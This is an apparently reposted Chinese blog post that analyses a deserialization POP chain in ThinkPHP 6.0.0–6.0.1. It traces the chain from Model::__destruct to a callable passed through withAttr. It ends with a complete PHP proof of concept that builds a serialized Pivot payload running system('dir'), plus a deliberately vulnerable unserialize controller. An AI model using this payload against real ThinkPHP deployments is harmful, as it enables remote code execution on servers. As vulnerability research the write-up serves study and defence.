Thinkphp6.0 反序列化漏洞

准备

创建工程:

composer create-project topthink/think thinkphp6.0.1

    "require": {
    
    
        "php": ">=7.1.0",
        "topthink/framework": "6.0.1",
        "topthink/think-orm": "^2.0"
    },

composer update

index控制器:

<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
    
    
    public function index()
    {
    
    
        if(isset($_POST['data'])){
    
    
            unserialize(base64_decode($_POST['data']));
        }else{
    
    
            highlight_file(__FILE__);
        }
    }
}

影响版本:Thinkphp6.0.0~6.0.1

分析

看了几个大师傅的文章,是这样说的:

在 ThinkPHP5.x 的POP链中,入口都是 think\process\pipes\Windows 类,通过该类触发任意类的 __toString 方法。但是 ThinkPHP6.x 的代码移除了 think\process\pipes\Windows 类,而POP链 __toString 之后的 Gadget 仍然存在,所以我们得继续寻找可以触发 __toString 方法的点。
这里5.2.x版本函数动态调用的反序列化链后半部分,还可以利用。

我一开始是想着先把tp5.2.x的那个反序列化链给审了,再来审一下这个链,但是我怎么composer装tp5.2.x都装不好,实在无语。花了一中午还是装不好,无奈只能放弃,来直接看这条链子了。

首先就需要重新找一个__destruct()方法,利用Model类的__destruct
在这里插入图片描述
$this->lazySave可控,进入save()方法:

    /**
     * 保存当前数据对象
     * @access public
     * @param array  $data     数据
     * @param string $sequence 自增序列名
     * @return bool
     */
    public function save(array $data = [], string $sequence = null): bool
    {
    
    
        // 数据对象赋值
        $this->setAttrs($data);

        if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
    
    
            return false;
        }

        $result = $this->exists ? $this->updateData() : $this->insertData($sequence);

        if (false === $result) {
    
    
            return false;
        }

        // 写入回调
        $this->trigger('AfterWrite');

        // 重新记录原始数据
        $this->origin   = $this->data;
        $this->set      = [];
        $this->lazySave = false;

        return true;
    }

因为后续的__toString()仍然可以使用,因此要想办法找一个可以进入到__toString()的点。大师傅们的寻找路线是这样:

save()updateData()checkAllowFields()db()$query = self::$db->connect($this->connection)
    ->name($this->name . $this->suffix)
    ->pk($this->pk);

存在$this->name$this->suffix的字符串拼接,这两个值都可控,因此这里可以利用到__toString()。接下来就是要想办法看看如何进入到这里。
首先是这里:
在这里插入图片描述

    public function isEmpty(): bool
    {
    
    
        return empty($this->data);
    }
    
    protected function trigger(string $event): bool
    {
    
    
        if (!$this->withEvent) {
    
    
            return true;
    }

$this->data$this->withEvent都可控,让data不空,让withEvent是false就行了。
之后就会进入updateData()方法:

    /**
     * 保存写入数据
     * @access protected
     * @return bool
     */
    protected function updateData(): bool
    {
    
    
        // 事件回调
        if (false === $this->trigger('BeforeUpdate')) {
    
    
            return false;
        }

        $this->checkData();

        // 获取有更新的数据
        $data = $this->getChangedData();

        if (empty($data)) {
    
    
            // 关联更新
            if (!empty($this->relationWrite)) {
    
    
                $this->autoRelationUpdate();
            }

            return true;
        }

        $data = $this->writeDataType($data);

        if ($this->autoWriteTimestamp && $this->updateTime) {
    
    
            // 自动写入更新时间
            $data[$this->updateTime]       = $this->autoWriteTimestamp();
            $this->data[$this->updateTime] = $this->getTimestampValue($data[$this->updateTime]);
        }

        // 检查允许字段
        $allowFields = $this->checkAllowFields();

        foreach ($this->relationWrite as $name => $val) {
    
    
            if (!is_array($val)) {
    
    
                continue;
            }

            foreach ($val as $key) {
    
    
                if (isset($data[$key])) {
    
    
                    unset($data[$key]);
                }
            }
        }

        // 模型更新
        $db = $this->db();

        $db->transaction(function () use ($data, $allowFields, $db) {
    
    
            $this->key = null;
            $where     = $this->getWhere();

            $result = $db->where($where)
                ->strict(false)
                ->cache(true)
                ->setOption('key', $this->key)
                ->field($allowFields)
                ->update($data);

            $this->checkResult($result);

            // 关联更新
            if (!empty($this->relationWrite)) {
    
    
                $this->autoRelationUpdate();
            }
        });

        // 更新回调
        $this->trigger('AfterUpdate');

        return true;
    }

这里基本就不用多关心了,trigger函数前面已经控过了。注意这个getChangedData(),需要获得不空的data:

    public function getChangedData(): array
    {
    
    
        $data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
    
    
            if ((empty($a) || empty($b)) && $a !== $b) {
    
    
                return 1;
            }

            return is_object($a) || $a != $b ? 1 : 0;
        });

        // 只读字段不允许更新
        foreach ($this->readonly as $key => $field) {
    
    
            if (array_key_exists($field, $data)) {
    
    
                unset($data[$field]);
            }
        }

        return $data;
    }

控一下$this->force即可。剩下的代码就不用关心了,进入到checkAllowFields()方法:
在这里插入图片描述
还是控制一下$this->schema,这样就可以进入db()方法,成功触发__toString()

然后还是老样子,跟进__toString(),进入toJson(),再进入toArray()方法:

    /**
     * 转换当前模型对象为数组
     * @access public
     * @return array
     */
    public function toArray(): array
    {
    
    
        $item       = [];
        $hasVisible = false;
        $a=$this->data;
        foreach ($this->visible as $key => $val) {
    
    
            if (is_string($val)) {
    
    
                if (strpos($val, '.')) {
    
    
                    [$relation, $name]          = explode('.', $val);
                    $this->visible[$relation][] = $name;
                } else {
    
    
                    $this->visible[$val] = true;
                    $hasVisible          = true;
                }
                unset($this->visible[$key]);
            }
        }

        foreach ($this->hidden as $key => $val) {
    
    
            if (is_string($val)) {
    
    
                if (strpos($val, '.')) {
    
    
                    [$relation, $name]         = explode('.', $val);
                    $this->hidden[$relation][] = $name;
                } else {
    
    
                    $this->hidden[$val] = true;
                }
                unset($this->hidden[$key]);
            }
        }

        // 合并关联数据
        $data = array_merge($this->data, $this->relation);
        foreach ($data as $key => $val) {
    
    
            if ($val instanceof Model || $val instanceof ModelCollection) {
    
    
                // 关联模型对象
                if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
    
    
                    $val->visible($this->visible[$key]);
                } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
    
    
                    $val->hidden($this->hidden[$key]);
                }
                // 关联模型对象
                if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
    
    
                    $item[$key] = $val->toArray();
                }
            } elseif (isset($this->visible[$key])) {
    
    

                $item[$key] = $this->getAttr($key);
            } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
    
    
                $item[$key] = $this->getAttr($key);
            }

            if (isset($this->mapping[$key])) {
    
    
                // 检查字段映射
                $mapName        = $this->mapping[$key];
                $item[$mapName] = $item[$key];
                unset($item[$key]);
            }
        }

        // 追加属性(必须定义获取器)
        foreach ($this->append as $key => $name) {
    
    
            $this->appendAttrToArray($item, $key, $name);
        }

        if ($this->convertNameToCamel) {
    
    
            foreach ($item as $key => $val) {
    
    
                $name = Str::camel($key);
                if ($name !== $key) {
    
    
                    $item[$name] = $val;
                    unset($item[$key]);
                }
            }
        }

        return $item;
    }

接下来的思路是:

toArray()getAttr()getValue()} else {
    
    
    $closure = $this->withAttr[$fieldName];
    $value   = $closure($value, $this->data);
}

来理一下代码。注意这里:
在这里插入图片描述
可以进入getAttr方法。有用的代码是这些:

$data = array_merge($this->data, $this->relation);
	foreach ($data as $key => $val) {
    
    
	//.....
	            } elseif (isset($this->visible[$key])) {
    
    

                $item[$key] = $this->getAttr($key);

$data来自$this->data,为此需要控一下$this->visible$this->data。但是注意还会被$this->visible进行处理:
在这里插入图片描述
$val不设成string就可以不受处理了。继续跟进getAttr
在这里插入图片描述
看一下getData()方法:
在这里插入图片描述
相当于$value得到的还是$data[$filenName]$fileName就是这个$name,就相当于是$key,就是是data的键。
继续跟进getValue()方法:
在这里插入图片描述
$filename还是$name,因为:
在这里插入图片描述
$this->convertNameToCamel这里为空,$this->strict默认也是true,所以直接return $name
然后接下来这个if不满足。想要进入if (isset($this->withAttr[$fieldName])) { ,控一下$this->withAttr就可以了。
之后is_array($this->withAttr[$fieldName])会不满足,进入else:

$closure = $this->withAttr[$fieldName];
$value   = $closure($value, $this->data);

可动态调用,考虑到system函数正好可接受2个参数,且第一个参数是可控的,因此这里可以直接system来RCE。

构造一下POC:

<?php


namespace think\model{
    
    

    use think\Model;

    class Pivot extends Model{
    
    

    }
}
namespace think{
    
    
    abstract class Model{
    
    
        private $lazySave = true;
        protected $withEvent = false;
        private $exists = true;
        private $force = true;
        private $data = array("q"=>"dir");
        protected $schema = array("1"=>"2");
        protected $name;
        protected $visible = array("q"=>1);
        private $withAttr = array("q"=>"system");
        public function setName($newName){
    
    
            $this->name=$newName;
        }
    }
}
namespace{
    
    

    use think\model\Pivot;
    $a=new Pivot();
    $b=new Pivot();
    $a->setName($b);
    echo base64_encode(serialize($a));
}

在这里插入图片描述
RCE成功。
放一下大师傅的图:
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/rfrder/article/details/114686095